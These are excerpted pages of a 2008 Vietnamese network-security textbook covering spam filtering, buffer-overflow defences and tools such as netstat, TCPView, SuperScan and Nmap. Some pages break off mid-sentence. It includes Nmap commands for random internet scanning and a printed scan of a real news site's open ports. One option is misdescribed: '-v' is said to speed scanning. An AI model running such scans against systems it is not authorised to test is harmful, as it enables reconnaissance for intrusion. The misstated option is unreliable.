5.2. Đối với người lập trình Web
- Đảm bảo dữ liệu cung cấp từ người dung là hợp lệ: tất cả các dữ liệu đưa
vào phải được kiểm tra kỹ, loại bỏ hoặc từ chối những ký tự đặc biệt như < >
‘ -- , .v.v.
- Chứng thực người dung: Nhiều ứng dụng hiện nay quản lý một phiên làm
việc của người dung bằng Session ID nhưng sự yếu kém trong cách quản lý
một phiên làm việc khiến cho hacker có thể dễ dàng kiểm soát được phiên
làm việc của người dung như đã đề cập trong phần kỹ thuật tấn công. Vì thế,
đối với một phiên làm việc, ứng dụng cần hủy phiên ngay sau khi trình duyệt
đóng kết nối.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
140
là những vấn đề về an ninh còn tồn tại của dịch vụ truyền thông này. Đó có thể là
các vấn đề về kỹ thuật như điểm yếu SMTP Relay, điểm yếu ở các phần mềm
Email Client (vd: Microsoft Outlook ); đó cũng có thể các vấn đề xuất phát từ yếu
tố con người như Spam, Phising,…
Giải pháp bảo mật cho các vấn đề kể trên có thể kể đến là: Cấu hình chính xác
Email Server, thường xuyên cập nhật bản vá lỗi cho các phần mềm Email Client,
sử dụng các chương trình chống virus, chống spam và cũng luôn đảm bảo chúng
được cập nhật thường xuyên, đề phòng đối với thư lừa đảo (phising), nâng cao
nhận thức người sử dụng.
5.1. SMTP Relay
Một tính năng của giao thức SMTP là SMTP Relay. SMTP Relay cho phép Mail
Server nhận các email đến và chuyển tiếp chúng đến các Email Server đích. Thông
thường, một tổ chức cần cấu hình để SMTP Server có khả năng relay tất cả các
email đến và đi.
Tính năng này của SMTP phải được cấu hình thật cẩn thận và chính xác. Bởi vì
đây chính là điểm yếu để ke xấu lợi dụng phát tán thư rác (Spam). Các Email
Server cấu hình tính năng SMTP Relay không đúng được gọi là Open SMTP
Relay. Các “Spammers” (những ke chuyên phát tán thư rác) sẽ tìm kiếm các Open
SMTP Relay Server để thực hiện việc gửi thư rác. Việc phát tán thư rác quá nhiều
từ một tên miền nào đó sẽ khiến tên miền đó bị đặt vào DNS-based BlackHole
List (DNSBL) nhằm ngăn chặn email phát tán từ domain đó.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
144
đó có thực, tuy nhiên một lượng lớn trong đó là địa chỉ không tồn tại và chúng gây
ra hiện tượng “lụt” ở các máy chủ mail.
Phương pháp kiểm tra người nhận sẽ ngăn chặn kiểu tấn công này bằng cách chặn
lại các email gửi tới các địa chỉ không tồn tại trên Active Directory hoặc trên máy
chủ mail server trong công ty. Tính năng này sẽ sử dụng Active Directory hoặc
LDAP server để xác minh các địa chỉ người nhận có tồn tại hay không. Nếu số địa
chỉ người nhận không tồn tại vượt quá một ngưỡng nào đó (do người quản trị thiết
lập) thì email gửi tới đó sẽ bị coi là spam và chặn lại.
Kiểm tra địa chỉ
Bằng cách kiểm tra địa chỉ người gửi và người nhận, phần lớn spam sẽ được phát
hiện và chặn lại. Thực hiện kiểm tra địa chỉ người gửi trước khi email được tải
xuống sẽ tiết kiệm được băng thông đường truyền cho toàn hệ thống.
Kỹ thuật Sender Policy Framework (SPF, www.openspf.org) được sử dụng để
kiểm tra địa chỉ người gửi email. Kỹ thuật SPF cho phép chủ sở hữu của một tên
miền Internet sử dụng các bản ghi DNS đặc biệt (gọi là bản ghi SPF) chỉ rõ các
máy được dung để gửi email từ miền của họ. Khi một email được gửi tới, bộ lọc
SPF sẽ phân tích các thông tin trong trường “From” hoặc “Sender” để kiểm tra địa
chỉ người gửi. Sau đó SPF sẽ đối chiếu địa chỉ đó với các thông tin đã được công
bố trong bản ghi SPF của miền đó xem máy gửi email có được phép gửi email hay
không. Nếu email đến từ một server không có trong bản ghi SPF mà miền đó đã
công bố thì email đó bị coi là giả mạo.
Chặn IP
Phương pháp này sẽ chặn các email được gửi đến từ các địa chỉ IP biết trước. Khi
một email đến, bộ lọc sẽ phân tích địa chỉ máy gửi và so sánh với danh sách địa chỉ
bị chặn. Nếu email đó đến từ một máy có địa chỉ trong danh sách này thì nó sẽ bị
coi là spam, ngược lại nó sẽ được coi là email hợp lệ.
Sử dụng bộ lọc Bayesian
Bộ lọc Bayesian hoạt động dựa trên định lý Bayes để tính toán xác suất xảy ra một
sự kiện dựa vào những sự kiện xảy ra trước đó. Kỹ thuật tương tự như vậy được sử
dụng để phân loại spam. Nếu một số phần văn bản xuất hiện thường xuyên trong
các spam nhưng thường không xuất hiện trong các email thông thường, thì có thể
kết luận rằng email đó là spam.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
145
Trước khi có thể lọc email bằng bộ lọc Bayesian, người dung cần tạo ra cơ sở dữ
liệu từ khóa và dấu hiệu (như là ký hiệu $, địa chỉ IP và các miền...) sưu tầm từ các
spam và các email không hợp lệ khác.
Mỗi từ hoặc mỗi dấu hiệu sẽ được cho một giá trị xác suất xuất hiện, giá trị này
dựa trên việc tính toán có bao nhiêu từ thường hay sử dụng trong spam, mà trong
các email hợp lệ thường không sử dụng. Việc tính toán này được thực hiện bằng
cách phân tích những email gửi đi của người dung và phân tích các kiểu spam đã
biết.
Để bộ lọc Bayesian hoạt động chính xác và có hiệu quả cao, cần phải tạo ra cơ sở
dữ liệu về các email thông thường và spam phu hợp với đặc thu kinh doanh của
từng công ty. Cơ sở dữ liệu này được hình thành khi bộ lọc trải qua giai đoạn
“huấn luyện”. Người quản trị phải cung cấp khoảng 1000 email thông thường và
1000 spam để bộ lọc phân tích tạo ra cơ sở dữ liệu cho riêng nó.
Sử dụng danh sách Black/white list
Việc sử dụng các danh sách black list, white list giúp cho việc lọc spam hiệu quả
hơn.
Black list là cơ sở dữ liệu các địa chỉ email và các miền mà bạn không bao giờ
muốn nhận các email từ đó. Các email gửi tới từ các địa chỉ này sẽ bị đánh dấu là
spam.
White list là cơ sở dữ liệu các địa chỉ email và các miền mà bạn mong muốn nhận
email từ đó. Nếu các email được gửi đến từ những địa chỉ nằm trong danh sách này
thì chúng luôn được cho qua.
Thông thường các bộ lọc có tính năng tự học, khi một email bị đánh dấu là spam
thì địa chỉ người gửi sẽ được tự động đưa vào danh sách black list. Ngược lại, khi
một email được gửi đi từ trong công ty thì địa chỉ người nhận sẽ được tự động đưa
vào danh sách white list.
Kiểm tra Header
Phương pháp này sẽ phân tích các trường trong phần header của email để đánh giá
email đó là email thông thường hay là spam. Spam thường có một số đặc điểm
như:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
146
• Để trống trường From: hoặc trường To: .
• Trường From: chứa địa chỉ email không tuân theo các chuẩn RFC.
• Các URL trong phần header và phần thân của message có chứa địa chỉ IP được
mã hóa dưới dạng hệ hex/oct hoặc có sự kết hợp theo dạng username/password (ví
dụ các địa chỉ: http://00722353893457472/hello.com,
• Phần tiêu đề của email có thể chứa địa chỉ email người nhận để cá nhân hóa email
đó. Lưu ý khi sử dụng tính năng này với các địa chỉ email dung chung có dạng như
[email protected]. Ví dụ khi một khách hàng phản hồi bằng cách sử dụng tính
năng auto-reply với tiêu đề “your email to sales” có thể bị đánh dấu là spam
• Gửi tới một số lượng rất lớn người nhận khác nhau.
• Chỉ chứa những file ảnh mà không chứa các từ để đánh lừa các bộ lọc.
• Sử dụng ngôn ngữ khác với ngôn ngữ mà người nhận đang sử dụng.
Dựa vào những đặc điểm này của spam, các bộ lọc có thể lọc chặn.
Sử dụng tính năng Challenge/Response
Tính năng này sẽ yêu cầu người lần đầu gửi email xác nhận lại email đầu tiên mà
họ đã gửi, sau khi xác nhận, địa chỉ email của người gửi được bổ sung vào danh
sách White list và từ đó trở về sau các email được gửi từ địa chỉ đó được tự động
cho qua các bộ lọc.
Do spammer sử dụng các chương trình gửi email tự động và họ không thể xác nhận
lại tất cả các email đã gửi đi, vì thế những email không được xác nhận sẽ bị coi là
spam.
Phương pháp này có hạn chế là nó yêu cầu những người gửi mới phải xác nhận lại
email đầu tiên mà họ gửi. Để khắc phục nhược điểm này, người quản trị chỉ nên sử
dụng phương pháp này đối với những email mà họ nghi ngờ là spam.
5.3.3. Phòng tránh thư rác
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
150
Tuy lập trình viên không có ý định sửa đổi B, nhưng giá trị của B đã bị thay thế bởi
một số được tạo nên từ phần cuối của xâu ký tự. Trong ví dụ này, trên một hệ
thống big-endian sử dụng mã ASCII, ký tự "e" và tiếp theo là một byte 0 sẽ trở
thành số 25856.
Nếu B là phần tử dữ liệu duy nhất còn lại trong số các biến được chương trình định
nghĩa, việc viết một xâu ký tự dài hơn nữa và vượt quá phần cuối của B sẽ có thể
gây ra một lỗi chẳng hạn như segmentation fault (lỗi phân đoạn) và tiến trình sẽ kết
thúc.
2. Chống tràn bộ đệm
Nhiều kỹ thuật đa dạng với nhiều ưu nhược điểm đã được sử dụng để phát hiện
hoặc ngăn chặn hiện tượng tràn bộ đệm. Cách đáng tin cậy nhất để tránh hoặc ngăn
chặn tràn bộ đệm là sử dụng bảo vệ tự động tại mức ngôn ngữ lập trình. Tuy nhiên,
loại bảo vệ này không thể áp dụng cho mã thừa kế (legacy code), và nhiều khi các
ràng buộc kỹ thuật, kinh doanh hay văn hóa lại đòi hỏi sử dụng một ngôn ngữ
không an toàn. Các mục sau đây mô tả các lựa chọn và cài đặt hiện có.
2.1. Lựa chọn ngôn ngữ lập trình
Lựa chọn về ngôn ngữ lập trình có thể có một ảnh hưởng lớn đối với sự xuất hiện
của lỗi tràn bộ đệm. Năm 2006, C và C++ nằm trong số các ngôn ngữ lập trình
thông dụng nhất, với một lượng khổng lồ các phần mềm đã được viết bằng hai
ngôn ngữ này. C và C++ không cung cấp sẵn các cơ chế chống lại việc truy nhập
hoặc ghi đè dữ liệu lên bất cứ phần nào của bộ nhớ thông qua các con trỏ bất hợp
lệ; cụ thể, hai ngôn ngữ này không kiểm tra xem dữ liệu được ghi vào một mảng
cài đặt của một bộ nhớ đệm) có nằm trong biên của mảng đó hay không. Tuy
nhiên, cần lưu ý rằng các thư viện chuẩn của C++, thư viện khuôn mẫu chuẩn -
STL, cung cấp nhiều cách an toàn để lưu trữ dữ liệu trong bộ đệm, và các lập trình
viên C cũng có thể tạo và sử dụng các tiện ích tương tự. Cũng như đối với các tính
năng bất kỳ khác của C hay C++, mỗi lập trình viên phải tự xác định lựa chọn xem
họ có muốn chấp nhận các hạn chế về tốc độ chương trình để thu lại các lợi ích
tiềm năng (độ an toàn của chương trình) hay không.
Một số biến thể của C, chẳng hạn Cyclone, giúp ngăn chặn hơn nữa các lỗi tràn bộ
đệm bằng việc chẳng hạn như gắn thông tin về kích thước mảng với các mảng.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
151
Ngôn ngữ lập trình D sử dụng nhiều kỹ thuật đa dạng để tránh gần hết việc sử dụng
con trỏ và kiểm tra biên do người dung xác định.
Nhiều ngôn ngữ lập trình khác cung cấp việc kiểm tra tại thời gian chạy, việc kiểm
tra này gửi một cảnh báo hoặc ngoại lệ khi C hoặc C++ ghi đè dữ liệu. Ví dụ về
các ngôn ngữ này rất đa dạng, từ pythol tới Ada, từ Lisp tới Modula-2, và từ
Smalltalk tới OCaml. Các môi trường bytecode của Java và .NET cũng đòi hỏi
kiểm tra biên đối với tất cả các mảng. Gần như tất cả các ngôn ngữ thông dịch sẽ
bảo vệ chương trình trước các hiện tượng tràn bộ đệm bằng cách thông báo một
trạng thái lỗi định rõ (well-defined error). Thông thường, khi một ngôn ngữ cung
cấp đủ thông tin về kiểu để thực hiện kiểm tra biên, ngôn ngữ đó thường cho phép
lựa chọn kích hoạt hay tắt chế độ đó. Việc phân tích tĩnh (static analysis) có thể
loại được nhiều kiểm tra kiểu và biên động, nhưng các cài đặt tồi và các trường
hợp rối rắm có thể giảm đáng kể hiệu năng. Các kỹ sư phần mềm phải cẩn thận cân
nhắc giữa các phí tổn cho an toàn và hiệu năng khi quyết định sẽ sử dụng ngôn ngữ
nào và cấu hình như thế nào cho trình biên dịch.
2.2. Sử dụng các thư viện an toàn
Vấn đề tràn bộ đệm thường gặp trong C và C++ vì các ngôn ngữ này để lộ các chi
tiết biểu diễn mức thấp của các bộ nhớ đệm với vai trò các chỗ chứa cho các kiểu
dữ liệu. Do đó, phải tránh tràn bộ đệm bằng cách gìn giữ tính đúng đắn cao cho các
phần mã chương trình thực hiện việc quản lý bộ đệm. Việc sử dụng các thư viện
được viết tốt và đã được kiểm thử, dành cho các kiểu dữ liệu trừu tượng mà các thư
viện này thực hiện tự động việc quản lý bộ nhớ, trong đó có kiểm tra biên, có thể
làm giảm sự xuất hiện và ảnh hưởng của các hiện tượng tràn bộ đệm. Trong các
ngôn ngữ này, xâu ký tự và mảng là hai kiểu dữ liệu chính mà tại đó các hiện
tượng tràn bộ đệm thường xảy ra; do đó, các thư viện ngăn chặn lỗi tràn bộ đệm tại
các kiểu dữ liệu này có thể cung cấp phần chính của sự che chắn cần thiết. Du vậy,
việc sử dụng các thư viện an toàn một cách không đúng có thể dẫn đến tràn bộ đệm
và một số lỗ hổng khác; và tất nhiên, một lỗi bất kỳ trong chính thư viện chính nó
cũng là một lỗ hổng. Các cài đặt thư viện "an toàn" gồm The Better String Library,
Arri Buffer API và Vstr. Thư viện C của hệ điều hành OpenBSD cung cấp các hàm
hữu ích strlcpy strlcat nhưng các hàm này nhiều hạn chế hơn nhiều so với các cài
đặt thư viện an toàn đầy đủ.
Tháng 9 năm 2006, Báo cáo kỹ thuật số 24731 của hội đồng tiêu chuẩn C đã được
công bố; báo cáo này mô tả một tập các hàm mới dựa trên các hàm vào ra dữ liệu
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
156
PHẦN 5
CÔNG CỤ BẢO MẬT MẠNG
Yêu cầu kiến thức
Phần công cụ bảo mật mạng yêu cầu người học:
- Có kiến thức cơ bản về mô hình OSI, TCP/IP.
- Có kiến thức cơ bản về các dịch vụ mạng và hệ điều hành.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
157
CHƯƠNG 1. KIỂM TRA KẾT NỐI TRÊN MÁY TÍNH
Đa số các phần mềm Key logger hay Back Door đều cố gắng kết nối tới một cổng
nào đó ở máy tính hacker để truyền những thông tin thu thập được từ máy nạn
nhân, hoặc mở một cổng nào đó trên máy nạn nhân để hacker có thể truy cập tới.
Hay trong một số trường hợp, người dung ADSL đột nhiên được thông báo rằng
máy tính của họ đã thực hiện một cuộc tấn công vào 1 website nào đó trong khi họ
không hề hay biết. Đó là khi các máy tính của người dung đã bị biến thành zombie,
nhận lệnh của hacker để tiến hành các cuộc tấn công. Vậy, làm thế nào để chúng ta
tránh được những nguy cơ kể trên. Một trong những cách đơn giản và hay gặp nhất
là thường xuyên kiểm tra kết nối trên máy tính của mình. Có một số công cụ giúp
ta làm việc này.
1. Công cụ NETSTAT
Đầu tiên, chúng ta cung nhau tìm hiểu công cụ netstat, một công cụ có sẵn trong
hệ điều hành Windows, với giao diện dòng lệnh và khá dễ sử dụng.
Để kiểm tra các kết nối trên máy tính của mình, chúng ta chỉ cần vào Run – gõ
CMD – Rồi gõ NETSTAT –AN :
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
158
Cột Proto là phần giao thức (TCP, UDP)
Cột Local Address là địa chỉ IP và cổng đang mở ở máy tính mình.
Cột Foreign Address là địa chỉ IP và cổng đang mở của những máy ta đang
có kết nối , hoặc đang chờ kết nối.
Cột State là trạng thái phiên kết nối. Trong đó:
o Established là phiên đang kết nối.
o Listening là phiên đang đợi kết nối (cổng mở)
o Time_wait: phiên chờ để đóng kết nối.
Công cụ NETSTAT còn nhiều tính năng khác như thống kê số gói tin với từng
giao thức : ICMP, UDP, TCP, Ipv4, Ipv6 hay xem bảng định tuyến…, chúng ta có
thể sử dụng câu lệnh Netstat /? để được hướng dẫn.
2. Phần mềm TCPView
TCPView là một công cụ kiểm tra kết nối rất tốt. Chạy trên hệ điều hành
Windows, TCPView cho phép người quản trị liệt kê một cách chi tiết tất cả các kết
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
159
nối TCP, UDP trên máy tính bao gồm tên tiến trình (Process Name), địa chỉ đích
(remote address) và trạng thái của phiên kết nối. TCPView là một công cụ rất trực
quan và hiển thị kết nối theo thời gian thực.
TCPView hỗ trợ các máy tính sử dụng hệ điều hành windows 98 , Windows Me,
Windows NT 4.0, Windows 2000, Windows XP, Windows Server 2003 and
Windows Vista.
Sử dụng TCPView
Khi khởi động, TCPView sẽ liệt kê tất cả các kết nối TCP, UDP đang thực hiện và
phân giải tên miền. Có thể thay đổi chế độ hiển thị theo tên miền hoặc địa chỉ IP.
Mặc định, TCPView tự động cập nhật mỗi một giây nhưng người sử dụng có thể
sử dụng chức năng View|Update Speed để thay đổi giá trị mặc định này. Những
kết nối vừa thay đổi trạng thái sẽ được hiển thị màu vàng, kết nối vừa ngắt sẽ hiển
thị màu đỏ và kết nối mới được mô tả bằng màu xanh.
TCPView còn cho phép người sử dụng có thể đóng một phiên kết nối nào đó bằng
cách click chuột phải lên kết nối đó và chọn Close Connections hay ngắt một tiến
trình nào đó bằng cách chọn End Process.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
160
Ngoài ra, một tính năng đáng chú ý nữa là TCPView cho phép người sử dụng tra
cứu trực tiếp thông tin về một tên miền nào đó qua Whois của MarkMonitor.com.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
161
CHƯƠNG 2. QUÉT CỔNG
Quét cổng là một quá trình nhằm kiểm tra xem một (hoặc nhiều) máy có mở một
(hay nhiều) cổng dịch vụ hay không. Các công cụ quét cổng cho phép chúng ta
cũng như những ke tấn công biết được cổng dịch vụ nào đang được mở trên hệ
thống. Từ đó có thể đưa ra những đánh giá về độ an toàn hệ thống, tìm hiểu các
loại dịch vụ trên hệ thống, phiên bản, hệ điều hành…
1. Công cụ SuperScan
SuperScan là một công cụ miễn phí của tổ chức bảo mật nổi tiếng FoundStone.
SuperScan khá mạnh trong việc quét cổng dịch vụ, ngoài ra, nó còn cung cấp các
tiện ích kèm theo rất hữu ích trong việc đánh giá an ninh mạng như Ping,
Traceroute, lấy banner, whois, Windows Enumeration. Trong nội dung này, chúng
ta chỉ tìm hiểu tác dụng quét cổng của SuperScan.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
162
Cách sử dụng SuperScan để quét cổng dịch vụ
Cách đơn giản nhất khi muốn quét cổng trên một máy tính là nhập địa chỉ IP của
máy tính đó vào phần Hostname/IP rồi Start (nút tam giác màu xanh)
Sau khi quét xong, kết quả được hiển thị ngay ở khung giữa chương trình. Nếu
muốn xem chi tiết hơn, có thể sử dụng chức năng View HTML Results.
SuperScan còn hỗ trợ quét cung lúc nhiều địa chỉ IP bằng cách nhập dải IP vào
phần Start IP và End IP. Ngoài ra, có thể nhập dải IP cần quét từ một tệp tin bằng
cách nhấn Read IPs from file. SuperScan hỗ trợ các dạng viết địa chỉ như sau:
- Theo tên miền: Evnit.com.vn
- Một địa chỉ: 10.1.3.223
- Nhiều địa chỉ: 10.1.3.1-10.1.3.20 hoặc 10.1.3.1-20
- Viết theo dạng CIDR: 10.1.3.0/24
SuperScan hoạt động tốt với chế độ mặc định. Tuy nhiên, người sử dụng cũng
được cung cấp một số cơ chế quét cổng khác ở tab Host and Service Discovery.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
163
Host Discovery Options
SuperScan cho phép người sử dụng sử dụng một số phương pháp khác nhau để
xác định một máy tính có đang kết nối mạng hay không (Live Host) như Echo
Request, Timestamp Request… Mặc định, SuperScan sẽ không tiến hành quét
cổng với những máy tính không kết nối. Do vậy, nếu bỏ chọn phần Host
Discovery, SuperScan sẽ quét cổng ở tất cả các địa chỉ trong list.
UDP Port Scan
SuperScan hỗ trợ 2 cơ chế quét UDP là:
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
164
Data – SuperScan sẽ gửi gói tin UDP đến từng cổng trong danh sách và phân
tích dựa theo thông tin phản hồi.
Data + ICMP – tương tự như phương pháp Data nhưng sử dụng thêm gói tin
ICMP trong quá trình quét cổng. SuperScan sẽ gửi gói tin ICMP đến các
cổng, nếu một cổng nào đó không phản hồi với bản tin "ICMP Destination
Port Unreachable" thì SuperScan sẽ coi rằng cổng đó đang mở và tiến hành
gửi gói tin UDP như phương pháp trên.
TCP Port Scan
SuperScan hỗ trợ 2 cơ chế quét TCP cơ bản là:
Connect – Thực hiện một phiên TCP bắt tay 3 bước đầy đủ. (Full TCP 3-
way handshake)
SYN – Chỉ gửi gói tin SYN.
Chú ý: để quét chính máy tính của mình, phải sử dụng cơ chế Connect.
2. Network Mapper (NMAP)
Là một tiện ích mã nguồn mở miễn phí, Nmap thực sự rất mạnh trong việc dò quét
hệ thống. Nmap cung cấp rất nhiều cơ chế cho phép người quản trị có thể dễ dàng
xác định trạng thái các máy tính trong mạng, các dịch vụ (tên ứng dụng và phiên
bản) trên từng máy, các máy tính sử dụng hệ điều hành gì… Ngoài ra, Nmap còn
mạnh ở tốc độ quét, nên có thể sử dụng Nmap với hệ thống mạng lớn. Nmap chạy
trên hầu hết các hệ điều hành (từ Windows, Linux đến Mac…) và hỗ trợ cả giao
diện đồ họa lẫn giao diện dòng lệnh.
Như đã nói ở trên, Nmap là một bộ công cụ gồm rất nhiều tiện trong việc dò quét
hệ thống mạng. Tuy nhiên, ở nội dung này, chúng ta chỉ tìm hiểu về tính năng quét
cổng của Nmap.
Cách sử dụng Nmap để quét cổng dịch vụ
Có thể sử dụng cả giao diện đồ họa ( gọi là Zenmap) và giao diện dòng lệnh để
thực hiện việc quét cổng. Mặc du giao diện đồ họa thân thiện và dễ sử dụng hơn rất
nhiều, nhưng chúng ta hãy cung làm quen với giao diện dòng lệnh trước để hiểu rõ
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
165
hơn từng chế độ quét của Nmap. Khi đã quen với giao diện dòng lệnh, việc sử
dụng giao diện đồ họa sẽ giúp bạn vừa tiết kiệm được thời gian, vừa có khả năng
tuy biến cao.
Phiên bản mà chúng ta sử dụng trong nội dung này là phiên bản Nmap-4.62 dành
cho hệ điều hành Windows. Sau khi cài đặt, mặc định, Nmap sẽ nằm ở đường dẫn
C:\Program Files\Nmap.
Để sử dụng Nmap, chúng ta vào Run – gõ CMD, trong cửa sổ Command Promt,
chúng ta mở thư mục Nmap bằng cách gõ cd C:\Program Files\Nmap
Tiếp theo, chúng ta gõ NMAP để xem hướng dẫn.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
166
Cấu trúc câu lệnh của Nmap như sau:
Usage: nmap [Scan Type(s)] [Options] {target specification}
Như đã nói ở trên, Nmap là một công cụ rất mạnh, nó hỗ trợ nhiều tính năng cũng
như nhiều kỹ thuật quét. Với nhiệm vụ quét cổng trên các máy trong hệ thống
mạng, chúng ta ít nhất cần biết những tính năng sau:
Target Specification (xác định mục tiêu)
Nmap xác định mục tiêu dò quét theo nhiều cách:
o Theo tên miền: Evnit.com.vn
o Một địa chỉ: 10.1.3.223
o Nhiều địa chỉ: 10.1.3.1-20 hay 10.1.3.50,55,70
o Viết theo dạng CIDR: 10.1.3.0/24
o Đặc biệt, Nmap còn cho phép nhiều tất cả cách viết trên trong cung
một câu lệnh.
Ví dụ: nmap scanme.nmap.org 192.168.1.0/24 10.0.0,1,3-7.0-255
Ta còn có thể quét một danh sách địa chỉ IP hay tên miền từ một tệp tin bằng
cách sử dụng thêm tham số -iL <tênfile> ; ví dụ: Nmap –iL C:\Dhcp-
export.txt
Ngoài ra, Nmap còn cho phép ta có thể quét ngẫu nhiên một hoặc nhiều mục
tiêu bằng tham số -iR <số host> ; nếu số host = 0 nghĩa là quá trình quét
ngẫu nhiên sẽ không bao giờ dừng cho đến khi người quản trị thoát khỏi
Nmap.
Ví dụ: câu lệnh Nmap -sS -PS80 -iR 0 -p 80 sẽ quét một cách ngẫu nhiên
các web server với kỹ thuật TCP SYN.
Scan Techniques (Các kỹ thuật quét)
Có thể nói, các kỹ thuật quét được tích hợp trong công cụ Nmap biến nó trở
thành một trong những công cụ quét cổng mạnh nhất hiện nay.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
167
Trong khi các công cụ khác thường chỉ xác định được 1 cổng dịch vụ nào đó
đang ở trạng thái Open hoặc Close thì Nmap phân biệt đến 6 trạng thái của
một cổng dịch vụ:
o Open: một ứng dụng nào đó sẵn sàng chấp nhận phiên kết nối trên
cổng này. Việc xác định các cổng mở chính là mục tiêu chính của mọi
công cụ quét cổng. Vì từ những cổng mở mang lại rất nhiều thông tin
cho cả người quản trị mạng và hacker.
o Closed: Một cổng ở trạng thái Closed vẫn nhận và hồi đáp các gói tin
thăm dò từ Nmap nhưng không có ứng dụng nào đang lắng nghe trên
cổng đó. Nó có ý nghĩa trong việc tìm kiếm các máy tính đang nối
mạng (live host) hoặc xác định phiên bản hệ điều hành.
o Filtered: Nmap không thể liệu cổng x có mở hay không bởi vì gói tin
thăm dò của nó đã bị chặn bởi một thiết bị lọc gói tin (có thể là tường
lửa, router…) Thỉnh thoảng Nmap sẽ nhận được tin phản hồi với
thông tin ICMP : Destination host unreachable nhưng thông thường là
các thiết bị lọc gói tin sẽ hủy ngay gói tin thăm dò của Nmap mà
không có bất kỳ thông tin phản hồi nào. Điều này dẫn đến việc Nmap
phải gửi lại nhiều gói tin thăm dò để tránh trường hợp bị lỗi đường
truyền, làm cho quá trình quét tốn khá nhiều thời gian.
o Unfiltered: Một cổng có thể kết nối nhưng Nmap không thể xác định
cổng đó đang ở trạng thái open hay closed. Những cổng ở trạng thái
này chỉ cho ta biết rằng cổng đó không bị lọc bởi một thiết bị lọc gói
tin nào.
o Open|Filtered: Nmap đưa một cổng vào trạng thái này khi nó không
thể xác định được cổng đó đang ở trạng thái Open hay Filtered. Trạng
thái này thường chỉ xuất hiện khi sử dụng các kỹ thuật UDP, IP
protocol, FIN, null, và Xmas.
o Closed|Filtered: Trạng thái này được đưa ra khi Nmap không xác định
được một cổng đang ở trạng thái Closed hay Filtered. Chỉ xuất hiện
trong kỹ thuật quét IP ID idle.
Các kỹ thuật quét cổng cơ bản của Nmap:
Chúng ta sẽ tìm hiểu qua một số kỹ thuật quét cổng thường dung nhất của
Nmap:
o -sS (TCP SYN scan): Kỹ thuật này còn được gọi là half-open scan vì
nó chỉ gửi gói tin SYN và căn cứ vào gói tin trả về để đánh giá trạng
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
168
thái 1 cổng. Gói tin trả về là SYN/ACK sẽ chỉ ra cổng ở trạng thái
open, gói tin RST (reset) sẽ chỉ ra một cổng closed. Nếu không nhận
được gói tin trả về sau vài lần gửi hoặc trả về là gói tin ICMP
unreachable thì Nmap sẽ coi cổng đó ở trạng thái Filtered.
o -sT (TCP connect scan): Kỹ thuật này thực hiện một kết nối TCP thực
sự tới cổng cần quét. Và đây chính là kỹ thuật cơ bản nhất trong quét
cổng. Kỹ thuật này tốn thời gian hơn và dễ dàng bị phát hiện hơn.
o -sU (UDP scans): Du hầu hết các dịch vụ mạng đều sử dụng giao thức
TCP nhưng vẫn có một số dịch vụ quan trọng sử dụng UDP như DNS
(53), SNMP (161/162), DHCP (67/68)…UDP scan giúp xác định một
cổng nào đó ở trạng thái Open, Closed, Filtered hay Open|Filtered.
o -sN; -sF; -sX (TCP Null, FIN, and Xmas scans): Đây là những kỹ thuật
quét khá phức tạp. Ưu điểm chính của chúng có thể vượt qua được
một số loại tường lửa hoặc router cấu hình lọc gói tin.
o Ngoài những kỹ thuật trên, Nmap còn hỗ trợ nhiều kỹ thuật quét cổng
khác như TCP ACK Scan, Idle Scan, TCP Window Scan, TCP
Maimon Scan…
Thông tin chi tiết về các kỹ thuật quét này có thể tìm thấy tại đây.
Port Specification and Scan order (Xác định cổng cần quét và thứ tự
quét)
Mặc định, Nmap sẽ quét tất cả các cổng bao gồm 1024 cổng well-known
cũng như các cổng cao hơn được liệt kê trong tệp tin nmap-services.
Tuy nhiên, chúng ta cũng có thể tuy biến số cổng cần quét bằng các tham số
sau:
o -p <port ranges>: chỉ định chính xác một hay nhiều cổng cần quét.
Ví dụ: -p U:53, 111, T:21-25, 80, 8080 evn.com.vn
o -F (Fast (limited port) scan): Chỉ quét những cổng được liệt kê trong
tệp tin nmap-services (khoảng 1200 cổng).
o -r (Don't randomize ports): Mặc định, Nmap sẽ quét các cổng thông
dụng trước. Với lựa chọn này, chúng ta buộc Nmap phải quét theo
đúng thứ tự từ đầu đến cuối.
Minh họa: Sử dụng Nmap để quét cổng dịch vụ trên website dantri.com.vn.
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
169
Dung câu lệnh sau:
Nmap -v -A -PN -sS -oN C:\dantri.txt www.dantri.com.vn
Ý nghĩa của câu lệnh trên như sau:
- Tham số -v làm tăng tốc độ quét bằng cách thực hiện cung lúc nhiều kết nối.
- Tham số -A bao gồm việc xác định hệ điều hành, xác định phiên bản từng dịch
vụ, quét script, và thực hiện Traceroute.
- Tham số -PN để bỏ qua bước xác định web server đó có kết nối mạng hay không.
- Tham số -sS để thực hiện kỹ thuật quét là SYN Scan
- Tham số -oN để xuất kết quả ra tệp tin dantri.txt ở ổ C.
- Và cuối cung là mục tiêu cần quét : www.dantri.com.vn
Và đây là kết quả thu được:
Host 210.245.87.122 appears to be up ... good.
Interesting ports on 210.245.87.122:
Not shown: 1708 closed ports
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn
445/tcp filtered microsoft-ds
1027/tcp open msrpc Microsoft Windows RPC
Cơ sở lý thuyết về BẢO MẬT MẠNG 2008
170
1029/tcp open msrpc Microsoft Windows RPC
3389/tcp open microsoft-rdp Microsoft Terminal Service
Device type: general purpose
Running: Microsoft Windows 2003
OS details: Microsoft Windows Server 2003 SP1 or SP2
